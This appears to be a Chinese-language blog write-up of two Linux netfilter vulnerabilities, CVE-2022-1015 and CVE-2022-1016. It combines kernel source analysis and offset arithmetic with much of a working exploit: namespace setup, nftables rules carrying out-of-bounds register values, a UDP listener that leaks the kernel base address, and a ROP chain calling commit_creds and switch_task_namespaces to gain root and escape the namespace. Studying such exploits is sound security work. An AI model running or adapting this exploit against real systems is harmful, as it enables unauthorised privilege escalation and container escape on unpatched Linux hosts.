Dig into Netfilter (二) —— CVE-2022-1015 / CVE-2022-1016

CVE-2022-1016

源码版本为v5.17-rc7.

非常明显且诡异地存在了8年的一个漏洞: 状态机的regs没有初始化.攻击者可以通过该漏洞泄露内核基址.
作者的评价:

I have no idea how this survived for eight and a half years, because to me it stuck out like a sore thumb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct nft_rule_dp *rule, *last_rule;
const struct net *net = nft_net(pkt);
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_rule_blob *blob;
struct nft_traceinfo info;

CVE-2022-1015

完整EXP及测试环境可在此获取: CVE-2022-1015

漏洞分析

源码版本为v5.17-rc7

在查看了expr的各种类型后, 最吸引人的肯定是nft_payloadxxx了, 因为其具有读写packet的能力.
先关注其在构造时的校验.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
static int nft_payload_init(const struct nft_ctx *ctx,
const struct nft_expr *expr,
const struct nlattr * const tb[])
{
struct nft_payload *priv = nft_expr_priv(expr);

priv->base = ntohl(nla_get_be32(tb[NFTA_PAYLOAD_BASE]));
priv->offset = ntohl(nla_get_be32(tb[NFTA_PAYLOAD_OFFSET]));
priv->len = ntohl(nla_get_be32(tb[NFTA_PAYLOAD_LEN]));

return nft_parse_register_store(ctx, tb[NFTA_PAYLOAD_DREG],
&priv->dreg, NULL, NFT_DATA_VALUE,
priv->len);
}

int nft_parse_register_store(const struct nft_ctx *ctx,
const struct nlattr *attr, u8 *dreg,
const struct nft_data *data,
enum nft_data_types type, unsigned int len)
{
int err;
u32 reg;

reg = nft_parse_register(attr);
err = nft_validate_register_store(ctx, reg, data, type, len);
if (err < 0)
return err;

*dreg = reg;
return 0;
}
EXPORT_SYMBOL_GPL(nft_parse_register_store);

/**
* nft_parse_register - parse a register value from a netlink attribute
*
* @attr: netlink attribute
*
* Parse and translate a register value from a netlink attribute.
* Registers used to be 128 bit wide, these register numbers will be
* mapped to the corresponding 32 bit register numbers.
*/
unsigned int nft_parse_register(const struct nlattr *attr)
{
unsigned int reg;

reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
}
EXPORT_SYMBOL_GPL(nft_parse_register);

/**
* nft_validate_register_store - validate an expressions' register store
*
* @ctx: context of the expression performing the load
* @reg: the destination register number
* @data: the data to load
* @type: the data type
* @len: the length of the data
*
* Validate that a data load uses the appropriate data type for
* the destination register and the length is within the bounds.
* A value of NULL for the data means that its runtime gathered
* data.
*/
int nft_validate_register_store(const struct nft_ctx *ctx,
enum nft_registers reg,
const struct nft_data *data,
enum nft_data_types type, unsigned int len)
{
int err;

switch (reg) {
case NFT_REG_VERDICT:
if (type != NFT_DATA_VERDICT)
return -EINVAL;

if (data != NULL &&
(data->verdict.code == NFT_GOTO ||
data->verdict.code == NFT_JUMP)) {
err = nf_tables_check_loops(ctx, data->verdict.chain);
if (err < 0)
return err;
}

return 0;
default:
if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
return -EINVAL;
if (len == 0)
return -EINVAL;
if (reg * NFT_REG32_SIZE + len >
sizeof_field(struct nft_regs, data))
return -ERANGE;

if (data != NULL && type != NFT_DATA_VALUE)
return -EINVAL;
return 0;
}
}
EXPORT_SYMBOL_GPL(nft_validate_register_store);

在这一段代码中出现了经典的check溢出问题.
左侧的两个变量reg, len均为用户完全可控.
这个溢出可以使得reg超过限制.

1
2
3
4
5
6
7
if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
return -EINVAL;
if (len == 0)
return -EINVAL;
if (reg * NFT_REG32_SIZE + len >
sizeof_field(struct nft_regs, data))
return -ERANGE;

在求值时, 即可越界写入, regs是nft_do_chains函数的局部变量, 所以这是一个栈上的任意偏移写入原语.

1
2
3
4
5
6
7
void nft_payload_eval(const struct nft_expr *expr,
struct nft_regs *regs,
const struct nft_pktinfo *pkt)
{
const struct nft_payload *priv = nft_expr_priv(expr);
const struct sk_buff *skb = pkt->skb;
u32 *dest = &regs->data[priv->dreg];

漏洞引入

笔者最初在分析该漏洞时, 沿用了之前分析时的v5.11源码, 漏洞不影响该版本, 分析两个版本的差异可以知道漏洞是如何被引入的.
该版本中的nft_payload_init是这样写的:

这意味着在nft_validate_register_store函数中reg字段并不是用户完全可控的(只取了1字节).

1
2
3
4
5
6
7
8
9
10
11
static int nft_payload_init(const struct nft_ctx *ctx,
const struct nft_expr *expr,
const struct nlattr * const tb[])
{
......
priv->len = ntohl(nla_get_be32(tb[NFTA_PAYLOAD_LEN]));
priv->dreg = nft_parse_register(tb[NFTA_PAYLOAD_DREG]);

return nft_validate_register_store(ctx, priv->dreg, NULL,
NFT_DATA_VALUE, priv->len);
}

在nft_payload结构体中, len和dreg均被指定占8bit的大小.
而在转入nft_validate_register_store函数时, 均通过无符号扩展(根据GNU manual, 不含负值的枚举类型是无符号)提升到4字节大小, 从理论上来说, 我们无法在nft_validate_register_store函数中控制dreg和len是一个较大的数来造成溢出.

Normally, the type is unsigned int if there are no negative values in the enumeration, otherwise int. If -fshort-enums is specified, then if there are negative values it is the first of signed char, short and int that can represent all the values, otherwise it is the first of unsigned char, unsigned short and unsigned int that can represent all the values.

1
2
3
4
5
6
7
8
9
10
11
struct nft_payload {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
enum nft_registers dreg:8;
};

int nft_validate_register_store(const struct nft_ctx *ctx,
enum nft_registers reg,
const struct nft_data *data,
enum nft_data_types type, unsigned int len);

如果你不理解我在说什么, 看下面这个demo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void func(int a,int b)
{
printf("%u,%u\n",a,b);
}

int main()
{
uint8_t a = 0xfb;
int8_t b = 0xfb;

func(a,b);
return 0;
}

1
2
./a.out    
251,4294967291

利用分析

由于漏洞实际存在于nft_parse_register_load和nft_parse_register_store这两个通用的对reg的验证函数中, 所以几乎所有使用reg的expr都可以完成越界.

但为了能调控越界读写的区域位置, 需要对len有一定控制的能力.
作者选用了nft_payload和nft_bitwise来进行越界读写.

具体需要读写哪个区域还是得调试发现, 写一个POC运行, 在尝试加载恶意的rule后, 发生了kernel panic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
BUG: unable to handle page fault for address: ffffa761803bc828
#PF: supervisor read access in kernel mode
#PF: error_code(0x0000) - not-present page
PGD 101000067 P4D 101000067 PUD 1010dd067 PMD 10208e067 PTE 0
Oops: 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 75 Comm: exploit Not tainted 5.17.0-rc7 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014
RIP: 0010:nft_payload_reduce+0xb/0x60
Code: cf 75 a8 85 d2 74 0d 83 fa 03 74 08 48 c7 c0 c0 c3 aa aa c3 48 c7 c0 60 c4 aa aa c3 0f 1f 00 0f b6 46 0b 48 c1 e0 04 48 01 f8 <48> 8b 10 48 85 d2 74 08 48 8b 0e 48 6
RSP: 0018:ffffa761803bb8a8 EFLAGS: 00000286
RAX: ffffa761803bc828 RBX: 0000000000000000 RCX: 0000000000002c01
RDX: ffffffffaa2d2c50 RSI: ffffa2f482178f18 RDI: ffffa761803bb8e8
RBP: ffffa2f482178e50 R08: 0000000000000040 R09: ffffa2f4820fe8a0
R10: 0000000000000004 R11: ffffa2f4812b0c80 R12: ffffa761803bb8e8
R13: ffffa2f482178f18 R14: ffffa2f482178f28 R15: ffffa2f482178e68
FS: 000000000051a3c0(0000) GS:ffffa2f4bbc00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffa761803bc828 CR3: 00000001011b4000 CR4: 00000000000006f0
Call Trace:
<TASK>
nf_tables_commit_chain_prepare+0x243/0x350
nf_tables_commit+0x13d/0x1060
? kmem_cache_alloc_trace+0x3f/0x470
nfnetlink_rcv_batch+0x32a/0x860
? __nla_validate_parse+0x5f/0xc20
? netlink_recvmsg+0x2ba/0x380
? path_init+0x3a0/0x3e0
nfnetlink_rcv+0x159/0x180
netlink_unicast+0x232/0x350
netlink_sendmsg+0x208/0x440
__sys_sendto+0x148/0x150
? vfs_write+0x1e1/0x280
__x64_sys_sendto+0x1b/0x20
do_syscall_64+0x43/0x90
entry_SYSCALL_64_after_hwframe+0x44/0xae

定位到了这样一段代码, 当新增rule后, nft会尝试调用expr->ops->reduce对rule进行优化, 而在nft_payload_reduce中, 由于我们恶意的dreg值, 这几乎一定导致崩溃. 探索了一会, 并没有发现绕过reduce的方法. 于是下载网上的测试内核, 硬审无符号且大量inline的汇编代码, 发现其的逻辑似乎于笔者编译的内核不同.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
static int nf_tables_commit_chain_prepare(struct net *net, struct nft_chain *chain)
{
......
nft_rule_for_each_expr(expr, last, rule) {
track.cur = expr;

if (expr->ops->reduce &&
expr->ops->reduce(&track, expr)) {
expr = track.cur;
continue;
}

if (WARN_ON_ONCE(data + expr->ops->size > data_boundary))
return -ENOMEM;

memcpy(data + size, expr, expr->ops->size);
size += expr->ops->size;
}
.......

}

static bool nft_payload_reduce(struct nft_regs_track *track,
const struct nft_expr *expr)
{
const struct nft_payload *priv = nft_expr_priv(expr);
const struct nft_payload *payload;

if (!track->regs[priv->dreg].selector ||
track->regs[priv->dreg].selector->ops != expr->ops) {
track->regs[priv->dreg].selector = expr;
track->regs[priv->dreg].bitwise = NULL;
return false;
}

payload = nft_expr_priv(track->regs[priv->dreg].selector);
if (priv->base != payload->base ||
priv->offset != payload->offset ||
priv->len != payload->len) {
track->regs[priv->dreg].selector = expr;
track->regs[priv->dreg].bitwise = NULL;
return false;
}

if (!track->regs[priv->dreg].bitwise)
return true;

return nft_expr_reduce_bitwise(track, expr);
}

查看v5.17的代码, 发现这里判断是否reduce的函数是nft_expr_reduce, 而这个函数只是返回false.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static int nf_tables_commit_chain_prepare(struct net *net, struct nft_chain *chain)
{
......
nft_rule_for_each_expr(expr, last, rule) {
track.cur = expr;

if (nft_expr_reduce(&track, expr)) {
expr = track.cur;
continue;
}

if (WARN_ON_ONCE(data + expr->ops->size > data_boundary))
return -ENOMEM;

memcpy(data + size, expr, expr->ops->size);
size += expr->ops->size;
}
......
}
static bool nft_expr_reduce(struct nft_regs_track *track,
const struct nft_expr *expr)
{
return false;
}

没办法, 只能换到v5.17的内核继续, 更换后不存在panic的问题.

现在来分析一下这个越界偏移读写的细节.
经过nft_parse_register后, reg的值范围为0~0xfffffffb.
设reg为x, len为y, 则转化成下列数学问题.

1
2
3
4
5
6
(4*x+y) & 0xffffffff < 0x50
0 <= x <= 0xfffffffb
0 <= y <= 0xff (对于nft_payload来说)
4*x+y >= 0x100000000

求4*(x & 0xff)的最小值和4*(x & 0xff) + y 的最大值

然而笔者并不知道如何去求解, 只能选择拙劣一点的方式(正确性未知).

1
2
3
4
5
6
7
8
9
10
11
12
13
static unsigned int nft_parse_register(const struct nlattr *attr)
{
unsigned int reg;

reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
}

nft_bitwise

按原作者的话说, nft_bitwise的len不能超过0x40(nft_regs中常规寄存器的大小), 但笔者查阅代码并未发现该限制.

nft_bitwise can realistically only write up to 0x40 bytes of arbitrary data and read up to 0x40 bytes of stack data to the register space.

但我们最好还是不要超过0x40比较好. 在nft_bitwise中, dreg和sreg共用一个len, 如果要使len超过0x40, 意味着dreg和sreg都需要越界, 那么我们就无法把敏感信息读到regs中或把regs中的数据写入到敏感位置. 所以这里就选择0x40了.

1
4*reg + len(0x40) < 0x50

那么在不考虑溢出的情况下, 左侧表达式的范围的最大值为0x40000002C, 一共有4个溢出点.

以0x400000000的溢出点为例, 要在这个溢出点发生溢出, 则4*reg >= 0x400000000-0x40
则有 0xfffffff0 <= reg <= 0xfffffffb.
校验完成后, 实际写入priv->dreg的值范围是0xf0 <= dreg <= 0xfb.
那么我们能读写的堆栈范围为: [0xf0*4,0xfb*4+0x40] == [0x3C0, 0x42C].

但其实你会发现限制dreg的是reg本身的取值范围0xfffffffb, 所以换一个溢出点0x200000000,
4*reg >= 0x400000000-0x40 && 4*reg < 0x200000040-0x40,
0x7ffffff0 <= reg <= 0x7fffffff. 则0xf0 <= dreg <= 0xff.
那么我们能读写的堆栈范围为: [0xf0*4,0xff*4+0x40] == [0x3C0, 0x43C].

nft_payload

同样的方式将len设为0xff, 求得 0xC1 <= dreg <= 0xD4.
dreg并没有达到本身的限制0xff, 所以取消len的限制, 把dreg=0xff带入计算, 求得len=0x54.

那么我们能读写的堆栈范围为: [0xC0*4,0xff*4+0x54] == [0x300, 0x450].

实践

我们的越界读写在栈上, 而栈中的数据随调用路径改变而变化.笔者首先尝试UDP协议, 因为它简单. 选择的hook点为LOCAL_OUT, 因为可以由sendto系统调用触发, 而不是在中断中触发.

在这样的情况下, 调试发现, 在我们可读写的0x300~0x450范围内, 的确有一些返回地址.
其中一个在偏移0x328的位置, 我们需要的只是简单的读取它泄露内核基址, 再写入ROP链即可.

EXP

EXP编写借用了原作者的板子, 完整EXP及测试环境可在此获取: CVE-2022-1015
你可以在netfilter网站上找到交互实例如: https://git.netfilter.org/libnftnl/tree/examples/nft-rule-add.c.

首先初始化利用环境, 由于我们要配置netfilter, 而这需要CAP_NET_ADMIN.
所以我们需要开一个新的user_namespace和net_namespace, 让我们的exploit在受限的命名空间中拥有CAP_NET_ADMIN, 不过不用担心, 我们最终会逃出这个沙箱.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;
int uid = getuid();
int gid = getgid();

int err = unshare(CLONE_NEWUSER | CLONE_NEWNET);
if(err < 0)
err_exit("unshare");

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", uid);
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", gid);
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

int main()
{
int ret;
setvbuf(stdout,_IONBF,0,0);
setvbuf(stderr,_IONBF,0,0);
save_status();
unshare_setup();

system("ip link set dev lo up");

接下来是准备netfilter的环境. 首先初始化netlink相关.

然后创建一个table和一个base_chain, 将base_chain挂载到NF_INET_LOCAL_OUT的hook点.
但我们并不在base_chain上添加恶意规则, 而是将其作为一个filter过滤出我们真正想要的数据包, 过滤后跳转到存放恶意规则的aux_chain上.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
    struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);

if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("[-] mnl_socket_bind");
puts("[-] Are you sure you have CAP_NET_ADMIN?..");
exit(EXIT_FAILURE);
}
int seq = time(NULL);
int err;

char *table_name = "exploit_table", *base_chain_name = "base_chain", *aux_chain_name = "aux_chain";
setup_nftables(nl, table_name, base_chain_name, &seq);

// create auxilitary chain
if (create_chain(nl, table_name, aux_chain_name, NFPROTO_IPV4, NULL, &seq, NULL))
err_exit("Failed creating auxiliary chain");
printf("[+] Created auxiliary chain %s\n", aux_chain_name);


// base_chain rule
if (create_base_chain_rule(nl, table_name, base_chain_name, NFPROTO_IPV4, NULL, &seq))
err_exit("Failed creating base chain rule");
puts("[+] Created base chain rule");

......

// setup_nftables() —— create table & chain
void setup_nftables(struct mnl_socket* nl, char* table_name, char* base_chain_name, int* seq)
{
if (create_table(nl, table_name, AF_INET, seq, NULL) == -1)
err_exit("Failed creating table");
printf("[+] Created nft %s\n", table_name);

struct unft_base_chain_param bp;
bp.hook_num = NF_INET_LOCAL_OUT;
bp.prio = 10;

if (create_chain(nl, table_name, base_chain_name, NFPROTO_IPV4, &bp, seq, NULL))
err_exit("Failed creating base chain");
printf("[+] Created base ipv4 chain %s\n", base_chain_name);
}
#define MAGIC 0x4c4c4146574f4e53 //SNOWFALL
int create_base_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
{
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);

// 1. 添加rule获取目的端口 (保存到 register 8): UDP header 的目的端口位于偏移2处, 占2字节长
rule_add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, offsetof(struct udphdr, dest), sizeof(uint16_t), 8);

// 2. 若目标端口不匹配, 则rule会接收该包, 避免 server socket 发包带来的噪声;
// 注意: server socket 和 client socket 端在 do_chain() 中的栈结构不同
uint16_t dest_port = htons(9999);
rule_add_cmp(r, NFT_CMP_EQ, 8, &dest_port, sizeof dest_port);

// 3. 获取 header 的前8字节,若和 magic 值不匹配, 则rule会接收该包
// 这样能确保只处理我们想处理的 packet
rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 0, 8, 8);

uint64_t magic = MAGIC;
rule_add_cmp(r, NFT_CMP_EQ, 8, &magic, sizeof magic);

// 4. 若 packet 通过这些检查, 则跳转到 auxiliary chain
rule_add_immediate_verdict(r, NFT_GOTO, "aux_chain");

// 将rule提交给内核
return send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, family, (void**)&r, seq,
NULL
);
}

尝试将恶意规则添加到aux_chain中, 这个规则将越界读出偏移0x328位置的返回地址存放到数据包+8的位置, 如果该规则成功添加, 说明目标内核存在该漏洞.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct vuln_expr_params v;

v.max_len = 0xff;
v.value = 0x7fffffCA+4;
struct nftnl_rule* aux_rule = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL);
rule_add_payload_set(aux_rule, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value);

err = send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, NFPROTO_IPV4, (void**)&aux_rule, &seq,
NULL
);
if (err) // 如果能成功创建rule, 说明越界的值 v.value 能够传递到内核, 存在漏洞
err_exit("[-] TARGET IS NOT VULNERABLE to CVE-2022-1015!");

puts("[+] Succesfully created rule with OOB nft_payload!");
puts(CLR_GRN "[+] TARGET IS VULNERABLE to CVE-2022-1015!" CLR_RESET);

接下来就是触发了, 先启动一个监听进程server, 向server发送数据包, 当数据包到达LOCAL_OUT位置时触发恶意规则, 越界读出内核地址存入数据包中, server再将收到的数据包传回给我们, 即可获取到内核基址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#define SERVER_HOST "127.0.0.1"
#define SERVER_PORT 9999
int pid = setup_listener(SERVER_HOST, SERVER_PORT, leak_handler);

struct sockaddr_in server_addr;
inet_aton(SERVER_HOST, &server_addr.sin_addr);
server_addr.sin_port = htons(SERVER_PORT);
server_addr.sin_family = AF_INET;
socklen_t server_addr_len = 0;

// 创建一个 UDP 套接字
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock < 0) {
perror("Socket creation failed");
return 1;
}


buff[0] = MAGIC;

if (sendto(sock,buff , 0x120, 0, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
perror("Sendto failed");
close(sock);
return 1;
}


int len = recvfrom(sock, buff, sizeof(buff) - 1, 0, (struct sockaddr*)&server_addr, &server_addr_len);
hexdump(buff,0x10);

kernel_base = buff[1]-0x723ed5;
HEX("kernel_base",kernel_base);

......

pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int))
{
int err;
int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s < 0) {
perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)");
return -1;
}

int reuse_addr = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, sizeof reuse_addr);

struct sockaddr_in addr;
inet_aton(ip_string, &addr.sin_addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
err = bind(s, (struct sockaddr*)&addr, sizeof(addr));
if (err < 0) {
perror("bind");
return -1;
}

printf("Started listener on [%s:%d] (udp)\n", ip_string, port);

pid_t pid = fork();
if (pid) {
// parent process 将新进程的进程号保存下来, 以便退出时调用 kill_children() kill 所有进程
add_child(pid);
return pid;
}

handler(s);

exit(EXIT_SUCCESS);
}


int leak_handler(int fd)
{
char buf[4096] = {};
char send_back[] = "MSG_OK";
struct sockaddr_in client_addr = {};
socklen_t client_addr_size = sizeof client_addr;
size_t conn_id = 0;

for (;;) {
int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size);
if (len <= 0)
err_exit("listener receive failed..\n");

sendto(fd, buf, len, 0, (struct sockaddr*)&client_addr, client_addr_size);
}

close(fd);
return 0;
}

再用相同的方式创建越界写的恶意规则, 往返回地址处写入ROP链, 即可完成提权+逃逸.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int i = 1;
buff[i++] = pop_rdi_ret;
buff[i++] = init_cred;
buff[i++] = commit_creds;
buff[i++] = pop_rdi_ret;
buff[i++] = getpid();
buff[i++] = find_task_by_vpid;
buff[i++] = mov_rdi_rax_ret;
buff[i++] = pop_rsi_ret;
buff[i++] = init_nsproxy;
buff[i++] = switch_task_namespaces;
buff[i++] = kpti_trampoline;
buff[i++] = 0; //dummy rax
buff[i++] = 0; //dummy rdi
buff[i++] = user_rip;
buff[i++] = user_cs;
buff[i++] = user_rflags;
buff[i++] = user_sp;
buff[i++] = user_ss;

v.max_len = 0xff;
v.value = 0x7fffffCA+4;

handle = 4;
aux_rule = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, &handle);
rule_add_payload(aux_rule, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value);


err = send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE|NLM_F_REPLACE, NFPROTO_IPV4, (void**)&aux_rule, &seq,
NULL
);
if (err)
err_exit("Failed rule_add_payload");


buff[0] = MAGIC;

if (sendto(sock,buff, 0x120, 0, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
perror("Sendto failed");
close(sock);
return 1;
}

Something

原作者在利用过程中并没有使用nft_payload_set来泄露内核地址, 而是利用了netfilter本身的功能来进行测信道: 过滤特定数据包. 通过nft_bitwise越界将内核地址拷贝到regs中, 再使用cmp指令对内核地址进行逐字节猜测爆破, 若猜错则Drop掉该包, 最终得到内核基址.

参考文章

https://web.archive.org/web/20240714125127/https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/
https://zhuanlan.zhihu.com/p/542451347

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信